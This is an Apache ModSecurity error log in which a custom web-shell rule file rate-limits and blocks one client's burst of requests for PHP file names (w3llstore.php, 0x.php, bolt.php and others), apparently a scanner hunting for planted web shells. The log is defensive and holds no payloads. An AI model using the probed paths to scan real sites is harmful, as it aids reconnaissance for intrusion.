[Sun Mar 01 17:19:14.156954 2026] [:error] [pid 33822:tid 33830] [client 20.151.2.242:63227] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaQEkm6W3ygu1YVssubd2QAAAoY"]
[Sun Mar 01 17:19:14.581931 2026] [:error] [pid 41780:tid 41796] [client 20.151.2.242:61102] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaQEksONkVoocLIqzy0Z0gAAA80"]
[Sun Mar 01 17:19:15.038912 2026] [:error] [pid 33822:tid 33824] [client 20.151.2.242:62807] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaQEk26W3ygu1YVssubd3gAAAoA"]
[Sun Mar 01 17:19:15.702195 2026] [:error] [pid 44644:tid 44663] [client 20.151.2.242:61007] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/advanc.php"] [unique_id "aaQEk53RJaXMcw3y9V_DRgAAABA"]
[Sun Mar 01 17:19:16.389732 2026] [:error] [pid 38241:tid 38249] [client 20.151.2.242:63204] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/advanc.php"] [unique_id "aaQElPKRPk6YnJBxw_yQLQAAAMU"]
[Sun Mar 01 17:19:17.085637 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:62529] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/advanc.php"] [unique_id "aaQElQfBuk03yQKDyqsfRQAAAck"]
[Sun Mar 01 17:19:17.563552 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:62773] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/advanc.php"] [unique_id "aaQElQfBuk03yQKDyqsfSAAAAcs"]
[Sun Mar 01 17:19:18.077486 2026] [:error] [pid 40750:tid 40765] [client 20.151.2.242:61101] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aaQElgfBuk03yQKDyqsfTgAAAcw"]
[Sun Mar 01 17:19:18.498936 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:62761] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aaQElgfBuk03yQKDyqsfUAAAAdA"]
[Sun Mar 01 17:19:18.994645 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:63137] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aaQElgfBuk03yQKDyqsfVQAAAdM"]
[Sun Mar 01 17:19:19.407880 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:63203] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aaQElwfBuk03yQKDyqsfWgAAAco"]
[Sun Mar 01 17:19:19.923656 2026] [:error] [pid 38034:tid 38047] [client 20.151.2.242:62548] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftyude.php"] [unique_id "aaQElwxtfZjwlJok9K_lqwAAAQk"]
[Sun Mar 01 17:19:20.391279 2026] [:error] [pid 33822:tid 33826] [client 20.151.2.242:62839] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftyude.php"] [unique_id "aaQEmG6W3ygu1YVssubd9wAAAoI"]
[Sun Mar 01 17:19:20.846359 2026] [:error] [pid 33822:tid 33827] [client 20.151.2.242:62549] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftyude.php"] [unique_id "aaQEmG6W3ygu1YVssubd-AAAAoM"]
[Sun Mar 01 17:19:21.289918 2026] [:error] [pid 38034:tid 38040] [client 20.151.2.242:62840] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ftyude.php"] [unique_id "aaQEmQxtfZjwlJok9K_ltwAAAQQ"]
[Sun Mar 01 17:19:21.770347 2026] [:error] [pid 38241:tid 38266] [client 20.151.2.242:63139] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aaQEmfKRPk6YnJBxw_yQNwAAANY"]
[Sun Mar 01 17:19:22.190647 2026] [:error] [pid 38241:tid 38250] [client 20.151.2.242:63197] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aaQEmvKRPk6YnJBxw_yQOQAAAMY"]
[Sun Mar 01 17:19:22.607788 2026] [:error] [pid 7133:tid 7159] [client 20.151.2.242:63223] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aaQEmvCtubh8pR64qB_ntgAAAFg"]
[Sun Mar 01 17:19:23.069506 2026] [:error] [pid 7133:tid 7140] [client 20.151.2.242:62568] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "aaQEm_Ctubh8pR64qB_nuAAAAEU"]
[Sun Mar 01 17:19:23.559178 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:61046] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aaQEmwfBuk03yQKDyqsfZwAAAcQ"]
[Sun Mar 01 17:19:24.031750 2026] [:error] [pid 7133:tid 7143] [client 20.151.2.242:62821] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aaQEnPCtubh8pR64qB_nvQAAAEg"]
[Sun Mar 01 17:19:24.447149 2026] [:error] [pid 38241:tid 38255] [client 20.151.2.242:63160] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aaQEnPKRPk6YnJBxw_yQQgAAAMs"]
[Sun Mar 01 17:19:24.871017 2026] [:error] [pid 37032:tid 37037] [client 20.151.2.242:62526] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aaQEnOu0U4o7eSImsVResQAAAYM"]
[Sun Mar 01 17:19:30.932965 2026] [:error] [pid 38241:tid 38259] [client 20.151.2.242:62812] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaQEovKRPk6YnJBxw_yQYQAAAM8"]
[Sun Mar 01 17:19:31.443263 2026] [:error] [pid 7165:tid 7177] [client 20.151.2.242:63228] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaQEoxRjCrA8qWBjgG91DgAAAko"]
[Sun Mar 01 17:19:32.066620 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:63216] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaQEpAfBuk03yQKDyqsfswAAAcI"]
[Sun Mar 01 17:19:32.585935 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:62542] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aaQEpAfBuk03yQKDyqsfvAAAAcQ"]
[Sun Mar 01 17:19:33.038370 2026] [:error] [pid 40750:tid 40760] [client 20.151.2.242:63111] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mon.php"] [unique_id "aaQEpQfBuk03yQKDyqsfxQAAAcc"]
[Sun Mar 01 17:19:33.468330 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:63186] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mon.php"] [unique_id "aaQEpQfBuk03yQKDyqsfzQAAAck"]
[Sun Mar 01 17:19:33.882484 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:63215] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mon.php"] [unique_id "aaQEpRRjCrA8qWBjgG91HAAAAkk"]
[Sun Mar 01 17:19:34.421620 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:63192] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mon.php"] [unique_id "aaQEphRjCrA8qWBjgG91JAAAAk4"]
[Sun Mar 01 17:19:34.856402 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:62561] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aaQEpgfBuk03yQKDyqsf3AAAAcs"]
[Sun Mar 01 17:19:35.314556 2026] [:error] [pid 38241:tid 38251] [client 20.151.2.242:61000] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aaQEp_KRPk6YnJBxw_yQZAAAAMc"]
[Sun Mar 01 17:19:35.748724 2026] [:error] [pid 41342:tid 41358] [client 20.151.2.242:63114] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aaQEp44iJ6RAS5CatDlRNQAAAg0"]
[Sun Mar 01 17:19:36.177505 2026] [:error] [pid 38241:tid 38267] [client 20.151.2.242:63218] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aaQEqPKRPk6YnJBxw_yQaQAAANc"]
[Sun Mar 01 17:19:36.756209 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:62765] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aaQEqAfBuk03yQKDyqsf7wAAAcY"]
[Sun Mar 01 17:19:37.178743 2026] [:error] [pid 40750:tid 40758] [client 20.151.2.242:60996] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aaQEqQfBuk03yQKDyqsf9wAAAcU"]
[Sun Mar 01 17:19:37.597728 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:62513] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aaQEqQfBuk03yQKDyqsf_gAAAcA"]
[Sun Mar 01 17:19:38.042431 2026] [:error] [pid 7165:tid 7168] [client 20.151.2.242:63130] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aaQEqhRjCrA8qWBjgG91LQAAAkE"]
[Sun Mar 01 17:19:38.584142 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:63189] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaQEqgfBuk03yQKDyqsgCgAAAcI"]
[Sun Mar 01 17:19:39.027128 2026] [:error] [pid 44644:tid 44651] [client 20.151.2.242:62738] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaQEq53RJaXMcw3y9V_DbQAAAAQ"]
[Sun Mar 01 17:19:39.618770 2026] [:error] [pid 38241:tid 38250] [client 20.151.2.242:62554] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaQEq_KRPk6YnJBxw_yQcwAAAMY"]
[Sun Mar 01 17:19:40.042504 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:62573] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aaQErAfBuk03yQKDyqsgFgAAAdc"]
[Sun Mar 01 17:19:40.492358 2026] [:error] [pid 40750:tid 40761] [client 20.151.2.242:63201] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aaQErAfBuk03yQKDyqsgGgAAAcg"]
[Sun Mar 01 17:19:40.997610 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:62845] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aaQErAfBuk03yQKDyqsgIgAAAdU"]
[Sun Mar 01 17:19:41.465856 2026] [:error] [pid 40750:tid 40768] [client 20.151.2.242:63222] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aaQErQfBuk03yQKDyqsgKAAAAc8"]
[Sun Mar 01 17:19:41.905991 2026] [:error] [pid 7165:tid 7182] [client 20.151.2.242:63164] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aaQErRRjCrA8qWBjgG91PAAAAk8"]
[Sun Mar 01 17:19:42.342172 2026] [:error] [pid 7165:tid 7190] [client 20.151.2.242:61078] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQErhRjCrA8qWBjgG91QQAAAlc"]
[Sun Mar 01 17:19:42.786564 2026] [:error] [pid 40750:tid 40771] [client 20.151.2.242:62750] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQErgfBuk03yQKDyqsgNAAAAdI"]
[Sun Mar 01 17:19:43.221154 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:62471] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQErwfBuk03yQKDyqsgOgAAAco"]
[Sun Mar 01 17:19:43.692265 2026] [:error] [pid 7133:tid 7146] [client 20.151.2.242:62762] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQEr_Ctubh8pR64qB_n3QAAAEs"]
[Sun Mar 01 17:19:44.119825 2026] [:error] [pid 38241:tid 38254] [client 20.151.2.242:63140] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aaQEsPKRPk6YnJBxw_yQfwAAAMo"]
[Sun Mar 01 17:19:44.556341 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:63175] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aaQEsAfBuk03yQKDyqsgRAAAAdA"]
[Sun Mar 01 17:19:44.977506 2026] [:error] [pid 38241:tid 38258] [client 20.151.2.242:62800] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aaQEsPKRPk6YnJBxw_yQiQAAAM4"]
[Sun Mar 01 17:19:45.414905 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:63210] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aaQEsQfBuk03yQKDyqsgTQAAAdY"]
[Sun Mar 01 17:19:45.888468 2026] [:error] [pid 38241:tid 38257] [client 20.151.2.242:62492] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aaQEsfKRPk6YnJBxw_yQjQAAAM0"]
